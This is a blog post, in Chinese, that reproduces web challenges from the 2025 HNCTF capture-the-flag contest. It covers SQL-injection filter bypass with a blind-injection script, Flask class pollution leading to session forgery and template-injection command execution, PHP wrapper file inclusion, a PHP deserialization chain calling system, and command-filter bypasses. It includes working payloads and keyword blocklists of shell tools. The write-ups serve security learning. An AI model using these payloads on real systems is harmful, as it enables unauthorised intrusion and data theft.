ycycyc

2025HNCTF-web复现

2025-06-27

半成品login

尝试弱密码进行登录

admin/admin123,成功登录后台

根据提示这个后台并不能得到有用的信息

尝试进行sql注入随意输入一个账号和密码登录并进行抓包,得到一下的数据包

image-20250618160301396

尝试构造sql注入,发现密码的位置存在sql注入

经过测试发现对单引号和or关键字进行了过滤

单引号可以使用双编码绕过,%2527,or关键字可以使用||进行替换

image-20250618161235375

出入成功,payload为

username=admin&password=1%2527||1=1#

发现是存在回显的,尝试适应oder by语句查看回显的列数

username=admin&password=1%2527oder by 4#

没有回显说明这里存在过滤,先考虑是过滤了空格

username=admin&password=1%2527oder/**/by/**/4#

image-20250618164253388

image-20250618164313866

根据两次回显的不同,确定列数为4

测试发现这里的select关键字也被过滤了,考虑到mysql的特性注入

查看当前的mysql的版本

username=admin&password=1%2537||@@version/**/like/**/%2527%8.%%2527#
等价于
username=admin&password=1'||@@version/**/LIKE/**/'%8.%'#

image-20250618181121953

可以看见登录成功,说明这里使用的就是mysql8的版本

可以利用table注入,但是需要能够利用的表明,这里可以利用一些而系统视图来实现

以下是别人的wp提供的布尔盲注的脚本。

import requests
import time

url = "http://124.71.84.202:10071/login.php"
flagstr = "0123456789:;<=>?@_`abcdefghijklmnopqrstuvwxyz{|}~"
headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

tempstr = ""
flag = ""

for i in range(1, 15):
    for idx in range(len(flagstr)):  # 使用索引遍历
        x = flagstr[idx]  # 获取当前字符
        prefix = tempstr + x

        # Payload templates
        payload1 = "1%27/**/||(%27{}%27,%271%27,%2711%27,%2711%27)<(table/**/sys.schema_tables_with_full_table_scans/**/limit/**/1)#".format(tempstr+x)
        # 获得数据库名: hnctfweb

        payload2 = "1%27/**/||(%27hnctfweb%27,%27{}%27,%2711%27,%2711%27)<(table/**/sys.schema_tables_with_full_table_scans/**/limit/**/1)#".format(tempstr+x)
        # 获得表名: hnctfuser

        payload3 = "1%27/**/||(%27{}%27,%27%27,%271%27,%2711%27)<(table/**/hnctfuser/**/limit/**/1)#".format(tempstr + x)
        # 获得第一列id值: 1

        payload4 = "1%27/**/||(%271%27,%27{}%27,%271%27,%2711%27)<(table/**/hnctfuser/**/limit/**/1)#".format(tempstr+x)
        # 获得第二列username值: admin

        payload5 = "1%27/**/||(%271%27,%27admin%27,%27{}%27,%2711%27)<(table/**/hnctfuser/**/limit/**/1)#".format(tempstr + x)
        # 获得第三列password值: admin123

        payload6 = "1%27/**/||(%271%27,%27admin%27,%27admin123%27,%27{}%27)<(table/**/hnctfuser/**/limit/**/1)#".format(tempstr + x)
        # 获得第四列值: noflaginhere

        payload7 = "1%27/**/||(%27{}%27,%271%27,%271%27,%271%27)<(table/**/hnctfuser/**/limit/**/1/**/offset/**/1)#".format(tempstr + x)
        # 获得第一列id值: 2

        payload8 = "1%27/**/||(%272%27,%27{}%27,%271%27,%271%27)<(table/**/hnctfuser/**/limit/**/1/**/offset/**/1)#".format(tempstr + x)
        # 获得需要的关键用户名: hacker*****

        payload9 = "1%27/**/||(%272%27,%27hackerohtii%27,%27{}%27,%271%27)<(table/**/hnctfuser/**/limit/**/1/**/offset/**/1)#".format(tempstr + x)

        data = {
            "username": "admin",
            "password": payload9
        }

        res = requests.post(url=url, data=data, allow_redirects=False, headers=headers)

        if "登陆成功" in res.text:
            continue
        elif "错误" in res.text:
            current_char = flagstr[idx - 1]
            if current_char == '~':
                print("遇到 ~,提前终止,请确认数据是否正确。")
                break
            tempstr += current_char
            flag = tempstr
            print(f"当前结果: {flag}")
            break

print(f"最终结果: {flag}")

下面是对payload的解析

这里table注入利用的表是sys.schema_tables_with_full_table_scans,这个系统视图的数据第一行包含了数据库名和表名

首先是payload1

从左到右循环字符来匹配sys.schema_tables_with_full_table_scans视图表的第一行的数据,首先匹配的就是数据库名

payload2

完成了第一个数据的匹配之后,即确定了数据库名之后进行匹配表名

payload3

成功得到表名之后就可以直接使用table查询表的内容,首先仍然是匹配第一行的第一个数据

接下来就是获取全部的对应表中的第一行的数据,发现没有有价值的信息,接下来在table注入的操作中引入一个新的关键字offset,他的作用主要是跳过第一行的数据,直接查看第二行的数据并进行匹配。

还有一个要注意的点就是于PerformanceSchema的机制限制,我们需要现在系统真正的运行一次sql查询才会触发Performance Schema的数据刷新机制,才会在sys.schema_tables_with_full_table_scans视图上面留下需要的信息。

奇怪的咖啡店

f12发现给了源码,发现源码是python写的

from flask import Flask, session, request, render_template_string, render_template
import json
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()

@app.route('/', methods=['GET', 'POST'])
def store():
    if not session.get('name'):
        session['name'] = ''.join("customer")
        session['permission'] = 0

    error_message = ''
    if request.method == 'POST':
        error_message = '<p style="color: red; font-size: 0.8em;">该商品暂时⽆法购买,请稍后再试!</p>'

    products = [
        {"id": 1, "name": "美式咖啡", "price": 9.99, "image": "1.png"},
        {"id": 2, "name": "橙c美式", "price": 19.99, "image": "2.png"},
        {"id": 3, "name": "摩卡", "price": 29.99, "image": "3.png"},
        {"id": 4, "name": "卡布奇诺", "price": 19.99, "image": "4.png"},
        {"id": 5, "name": "冰拿铁", "price": 29.99, "image": "5.png"}
    ]

    return render_template('index.html',
                         error_message=error_message,
                         session=session,
                         products=products)

def add():
    pass

@app.route('/add', methods=['POST', 'GET'])
def adddd():
    if request.method == 'GET':
        return '''
            <html>
                <body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
                    <h2>添加商品</h2>
                    <form id="productForm">
                        <p>商品名称: <input type="text" id="name"></p>
                        <p>商品价格: <input type="text" id="price"></p>
                        <button type="button" onclick="submitForm()">添加商品</button>
                    </form>
                    <script>
                        function submitForm() {
                            const nameInput = document.getElementById('name').value;
                            const priceInput = document.getElementById('price').value;
                            fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
                                method: 'POST',
                                headers: {
                                    'Content-Type': 'application/json',
                                },
                                body: nameInput
                            })
                            .then(response => response.text())
                            .then(data => alert(data))
                            .catch(error => console.error('错误:', error));
                        }
                    </script>
                </body>
            </html>
        '''
    elif request.method == 'POST':
        if request.data:
            try:
                raw_data = request.data.decode('utf-8')
                if check(raw_data):
                    # 检测添加的商品是否合法
                    return "该商品违规,⽆法上传"
                json_data = json.loads(raw_data)
                if not isinstance(json_data, dict):
                    return "添加失败1"
                merge(json_data, add)
                return "你⽆法添加商品哦"

发现了merge()函数

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

这是很容易联想到原型污染的一个函数,无论是JavaScript还是python

找一下merge函数的触发点

merge(json_data, add)

@app.route(‘/add’, methods=[‘POST’, ‘GET’])定义了路由在/add下面

raw_data = request.data.decode('utf-8')  # 用户直接控制的输入
json_data = json.loads(raw_data)         # 解析为字典

发现json_data完全可控

if check(raw_data):
                   # 检测添加的商品是否合法
                   return "该商品违规,⽆法上传"

这里存在一个check,但是不知道check的是什么内容,可能是给的源码不完整的原因

f12还可以看到图片的位置是在/static/img,图片作为静态文件是从static 文件夹提供,实际路径由 app._static_folder 属性决定,默认值为 "static"

payload的分析(这是污染静态路由的操作),目的是当前的目录跳转到根目录,从而得到完整的源代码

{
    "__globals__": {
        "app": {
            "_static_folder": "./"
        }
    }
}

首先打开/add路由,这是一个添加商品的页面,根据上面已知的源代码分析下可以得知这里传参的方式是POST传参

image-20250625151529071

可以看到这里通过JSON.loads()解析的数据,所以POST传参payload的时候就需要设置 Content-Type: application/json 请求头

image-20250627033912857

image-20250627033931508

说明是被check过滤了,尝试编码(utf-16的\u形式)绕过

这样的编码通常应用于在JSON中表示非ascii码的字符

Unicode 转换器 - Unicode、UTF-16、UTF-8、UTF-32、百分比、Base64 和十进制转换器

{
    "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f": {
        "\u0061\u0070\u0070": {
            "\u005f\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072": "\u002e\u002f"
        }
    }
}

image-20250625154201458

我以为是污染失败了呢,但是尝试直接访问/static/app.py又得到了源码

from flask import Flask, session, request, render_template_string, render_template
import json
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()

@app.route('/', methods=['GET', 'POST'])
def store():
    if not session.get('name'):
        session['name'] = ''.join("customer")
        session['permission'] = 0

    error_message = ''
    if request.method == 'POST':
        error_message = '<p style="color: red; font-size: 0.8em;">该商品暂时无法购买,请稍后再试!</p>'

    products = [
        {"id": 1, "name": "美式咖啡", "price": 9.99, "image": "1.png"},
        {"id": 2, "name": "橙c美式", "price": 19.99, "image": "2.png"},
        {"id": 3, "name": "摩卡", "price": 29.99, "image": "3.png"},
        {"id": 4, "name": "卡布奇诺", "price": 19.99, "image": "4.png"},
        {"id": 5, "name": "冰拿铁", "price": 29.99, "image": "5.png"}
    ]

    return render_template('index.html',
                         error_message=error_message,
                         session=session,
                         products=products)


def add():
    pass


@app.route('/add', methods=['POST', 'GET'])
def adddd():
    if request.method == 'GET':
        return '''
            <html>
                <body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
                    <h2>添加商品</h2>
                    <form id="productForm">
                        <p>商品名称: <input type="text" id="name"></p>
                        <p>商品价格: <input type="text" id="price"></p>
                        <button type="button" onclick="submitForm()">添加商品</button>
                    </form>
                    <script>
                        function submitForm() {
                            const nameInput = document.getElementById('name').value;
                            const priceInput = document.getElementById('price').value;

                            fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
                                method: 'POST',
                                headers: {
                                    'Content-Type': 'application/json',
                                },
                                body: nameInput
                            })
                            .then(response => response.text())
                            .then(data => alert(data))
                            .catch(error => console.error('错误:', error));
                        }
                    </script>
                </body>
            </html>
        '''
    elif request.method == 'POST':
        if request.data:
            try:
                raw_data = request.data.decode('utf-8')
                if check(raw_data):
                #检测添加的商品是否合法
                    return "该商品违规,无法上传"
                json_data = json.loads(raw_data)

                if not isinstance(json_data, dict):
                    return "添加失败1"

                merge(json_data, add)
                return "你无法添加商品哦"

            except (UnicodeDecodeError, json.JSONDecodeError):
                return "添加失败2"
            except TypeError as e:
                return f"添加失败3"
            except Exception as e:
                return f"添加失败4"
        return "添加失败5"


@app.route('/aaadminnn', methods=['GET', 'POST'])
def admin():
    if session.get('name') == "admin" and session.get('permission') != 0:
        permission = session.get('permission')
        if check1(permission):
            # 检测添加的商品是否合法
            return "非法权限"

        if request.method == 'POST':
            return '<script>alert("上传成功!");window.location.href="/aaadminnn";</script>'

        upload_form = '''
        <h2>商品管理系统</h2>
        <form method=POST enctype=multipart/form-data style="margin:20px;padding:20px;border:1px solid #ccc">
            <h3>上传新商品</h3>
            <input type=file name=file required style="margin:10px"><br>
            <small>支持格式:jpg/png(最大2MB)</small><br>
            <input type=submit value="立即上传" style="margin:10px;padding:5px 20px">
        </form>
        '''

        original_template = 'Hello admin!!!Your permissions are{}'.format(permission)
        new_template = original_template + upload_form

        return render_template_string(new_template)
    else:
        return "<script>alert('You are not an admin');window.location.href='/'</script>"




def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


def check(raw_data, forbidden_keywords=None):
    """
    检查原始数据中是否包含禁止的关键词
    如果包含禁止关键词返回 True,否则返回 False
    """
    # 设置默认禁止关键词
    if forbidden_keywords is None:
        forbidden_keywords = ["app", "config", "init", "globals", "flag", "SECRET", "pardir", "class", "mro", "subclasses", "builtins", "eval", "os", "open", "file", "import", "cat", "ls", "/", "base", "url", "read"]

    # 检查是否包含任何禁止关键词
    return any(keyword in raw_data for keyword in forbidden_keywords)


param_black_list = ['config', 'session', 'url', '\\', '<', '>', '%1c', '%1d', '%1f', '%1e', '%20', '%2b', '%2c', '%3c', '%3e', '%c', '%2f',
                    'b64decode', 'base64', 'encode', 'chr', '[', ']', 'os', 'cat',  'flag',  'set',  'self', '%', 'file',  'pop(',
                    'setdefault', 'char', 'lipsum', 'update', '=', 'if', 'print', 'env', 'endfor', 'code', '=' ]


# 增强WAF防护
def waf_check(value):
    # 检查是否有不合法的字符
    for black in param_black_list:
        if black in value:
            return False
    return True

# 检查是否是自动化工具请求
def is_automated_request():
    user_agent = request.headers.get('User-Agent', '').lower()
    # 如果是常见的自动化工具的 User-Agent,返回 True
    automated_agents = ['fenjing', 'curl', 'python', 'bot', 'spider']
    return any(agent in user_agent for agent in automated_agents)

def check1(value):

    if is_automated_request():
        print("Automated tool detected")
        return True

    # 使用WAF机制检查请求的合法性
    if not waf_check(value):
        return True

    return False


app.run(host="0.0.0.0",port=5014)

直到看到源码中的对POST上传的参数的检测中的代码块

image-20250625154416313

原来即使是污染成功了也会返回这句话

分析上面的源码,发现还存在一个/aaadminnn路由

image-20250625154717204

他会判断session中是的name是不是等于admin并且检验当前的permission是不是不为0

这里还需要伪造session可以通过污染密钥,permission可以通过ssti更改权限,原因是

 permission = session.get('permission')
original_template = 'Hello admin!!!Your permissions are{}'.format(permission)
        new_template = original_template + upload_form

        return render_template_string(new_template)

permission的值使通过session.get()获得的,水命permission的值完全可控,而且不存在任何过滤,并且他直接拼接到了字符串中并且通过render_template_string()来进行渲染。

接下来主要的流程就是通过密钥的污染使permission可以使用被污染的密钥进行SSTI

{
    "__globals__": {
        "app": {
            "config": {}
        }
    },
    "SECRET_KEY": "123"
}

同样进行编码

{
        "__\u0067\u006c\u006f\u0062\u0061\u006c\u0073__" : {
            "\u0061\u0070\u0070" : {
                "\u0063\u006f\u006e\u0066\u0069\u0067" : {
                    "\u0053ECRET_KEY" :"123"
                }
            }
        }
}

成功污染密钥为p

下面是打通的ssti的利用链

{{self.__init__.__globals__.__builtins__["__import__"]("os").popen("ls").read()}}

self.init.__globals__用于获取当前对象的全局命名空间,__builtins__ - 这是 Python 的一个内置模块,包含所有内置函数,接着使用import函数导入os模块,再调用os模块中的popen()函数,再用popen()函数执行ls命令,.read() - 读取命令执行的结果

这里先要利用一个工具脚本对原本的session进行解密

项目地址:https://github.com/noraj/flask-session-cookie-manager

image-20250626165608444

python flask_session_cookie_manager3.py decode -s "123" -c "eyJuYW1lIjoiY3VzdG9tZXIiLCJwZXJtaXNzaW9uIjowfQ.aEbpMQ.RzfFYnE7I6sqBcZW2R1PfAxTepk"

带着解密的session通过GET方式访问

得到flag的位置在4flloog中

image-20250626170157293

python flask_session_cookie_manager3.py encode -s "123" -t "{'name':'admin','permission':'{{self.__init__.__globals__.__builtins__[\"__import__\"](\"os\").popen(\"cat 4flloog\").read()}}'}"

使用上面的session访问即可得到flag。

DeceptiFlag

f12查看元素

image-20250614005929951

发现有一个隐藏输入框的部分试着删除上面的部分,得到另外的一个输入框,根据背景图的提示可以输入和题目提供的hint可以输入xiyangyang和huitailang

image-20250614010644463

发现上面有一个?file=flag,尝试删除file参数的参数值,发现会报错,分析一下报错内容

尝试加载(require_once)加载一个.php文件的时候报错了,说明之前的参数值为flag的时候读取的是flag.php文件的内容

在f12查看cookie的时候发现存在一个hint

image-20250614011936495

进行base64解码

image-20250614012150932

说明flag在这个目录的文件夹下面,直接尝试进行读取

image-20250614012358171

可以看到这里阻止了直接从根目录进行文件包含

可以想到使用伪协议来读取文件,这里是对本地的磁盘文件进行读取

image-20250614013355732

进行base-64解码就可以得到flag了

flag{6d4a7988-954c-4f3f-80ec-713823a65376}

ez-php

<?php
error_reporting(0);
class GOGOGO{
    public $dengchao;
    function __destruct(){
        echo "Go Go Go~ 出发喽!" . $this->dengchao;
    }
}
class DouBao{
    public $dao;
    public $Dagongren;
    public $Bagongren;
    function __toString(){
        if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
            call_user_func_array($this->dao, ['诗人我吃!']);
        }
    }
}
class HeiCaFei{
    public $HongCaFei;
    function __call($name, $arguments){
        call_user_func_array($this->HongCaFei, [0 => $name]);
    }
}

if (isset($_POST['data'])) {
    $temp = unserialize($_POST['data']);
    throw new Exception('What do you want to do?');
} else {
    highlight_file(__FILE__);
}
?>

在反序列化的时候会自动触发destruct()函数进行,destruct()函数可以触发tostring()魔术方法,然后可以触发HeiCaFei下面的__call()魔术方法

这里对post传入的参数进行反序列化之后会抛出一个错误,导致后续的代码无法顺利的执行,就导致反序列化这一操作无法触发destruct()魔术方法。

payload

<?php
 error_reporting(0);
 class GOGOGO{
 public $dengchao;
 function __destruct(){
 echo "Go Go Go~
出发喽!
" . $this->dengchao;
 }
 }
 class DouBao{
 public $dao;
 public $Dagongren;
 public $Bagongren;
 function __toString(){
 if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren)
=== md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this
>Bagongren)) ){
 echo "success";
 call_user_func_array($this->dao, ['
诗⼈我吃!
']);
 }
 }
 }
 class HeiCaFei{
 public $HongCaFei;
 function __call($name, $arguments){
 call_user_func_array($this->HongCaFei, [0 => $name]);
 }
 }
 $a = new GOGOGO();
 $b = new DouBao();
 $test1 = new Error("payload", 1);$test2 = new Error("payload", 2);
 $c1 = new HeiCaFei();
 $c2 = new HeiCaFei();
 $c2->HongCaFei = "system";
 $c1->HongCaFei = [$c2, "cat\${IFS}/of*"];
 $b->dao = [$c1, 'test'];
 $b->Dagongren = $test1;
 $b->Bagongren = $test2;
 $a->dengchao = $b;
 $pop = array($a, 0);
 # str_replace("i:1;i:0;", "i:0;i:0;",
 # echo urlencode(serialize($pop));
 echo str_replace("i%3A1%3Bi%3A0%3B%7D", "i%3A1%3Bi%3A0%3B",
urlencode(serialize($pop)));
 ?>

关于以上的payload的解释

首先实例化两个error类然后将上面的两个error类分别赋值给dagongren和bagongren,这样可以使dagonren和bagongren两个对象本身不相等但是在经过__tostring()魔术方法处理之后的结果相等可以绕过哈希。

然后对Heichafei实例化两个对象$c1,$c2,c1将Heichafei类的hongchafei属性设置为system()函数,这样在call()魔术方法被调用的时候就会调用system()函数,将$c1的hongchafei属性设置为一个数组

[$c2, "cat\${IFS}/of*"]在这个对象中对$c2进行了调用,调用之后即为[system, “cat${IFS}/of*”]

在__call()魔术方法被调用的时候就会进行调用。

cat\${IFS}/of*解释:${IFS}这里是空格的作用,反斜杠使防止对空格符号进行转移。

of*是一种模糊的通配符的匹配模式

$b->dao = [$c1, ‘test’];被调用的时候实际调用的是$c1对象中的test()方法,但是$c1对象中没有的test()方法,就会触发__call()魔术方法

将DOUBAO类的实例化的对象赋值给GOGOGO的实例化对象的dengchao属性,可以触发__tostring()魔术方法

定义一个数组$pop = array($a, 0),其中包含两个元素,0的序列化的内容是i:1;i:0;},经过替换之后会删掉最后的}导致序列化的数据不完整,前面的内容仍然能够解析,但是由于不完整又能够触发__destruct()魔术方法,从而能够绕过抛出异常。

使用上面得到的payload成功得到flag

image-20250626224146070

Really_Ez_Rce

<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
error_reporting(0);
if (isset($_REQUEST['Number'])) {
    $inputNumber = $_REQUEST['Number'];

    if (preg_match('/\d/', $inputNumber)) {
        die("
不⾏不⾏
,
不能这样
");
    }
    if (intval($inputNumber)) {
        echo "OK,
接下来你知道该怎么做吗
";

        if (isset($_POST['cmd'])) {
            $cmd = $_POST['cmd'];

            if (!preg_match(
                '/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|
 od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|bas
 e|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\
 [|\]|flag|bash|env|!|\?|ls|\'|\"|id/i',
                $cmd
            )) {
                echo "
你传的参数似乎挺正经的
,
放你过去吧
<br>";
                system($cmd);
            } else {
                echo "nonono,hacker!!!";
            }
        }
    }
}

首先使用正则过滤了数字,使Number参数的参数值不能是数字,intval()函数用于将变量转化为整数类型,用于确保用户输入的值为整数。

这里可以用数组绕过

?Number[]=1

接下来是对POST传参的cmd的值进行的过滤,所有的相关的关键字和通配符,点号等都被过滤了

可以用拼接绕过来查看根目录下面有什么文件

cmd=a=l;b=s;$a$b /

得到根目录下面有一个flag.txt文件

cat 命令也可以通过拼接出来

cmd=a=c;b=a;c=t;d=fl;e=ag;f=tx;g=t;$a$b$c /$d$e.$f$g

image-20250609150836285

可以看到因为文件名中的点号的原因被过滤了,实在是想不到怎么绕过这个点号了,看了大佬的wp发现这里的绕过方式是通过ls和head命令配合使用,如下:

ls -a | head -n 1

首先ls -a会显示当前 目录下面的所有的隐藏文件(包括以点号开头的所有隐藏文件)

head命令用来限制文件名的输出,比如head -n 行数 (只返回前几行)

image-20250609152134469

传ls -a命令可以看到第一个隐藏的文件名就是点号,所以使用head -n 1就可以提取到第一行的文件名(就是点号)

payload

cmd=a=c;b=at;c=f;d=lag;e=t;f=xt;g=l;h=s;i=h;j=ead;k=$($g$h -a | $i$j -n 1);$a$b
 /$c$d$k$e$f
 管道符的作用是将ls -a 的输出传递给head命令进行处理
 括号外的$符号的作用是表示首先执行括号内的命令,然后将输出结果作为字符串替换到当前位置。

image-20250609153423167

← Back to Home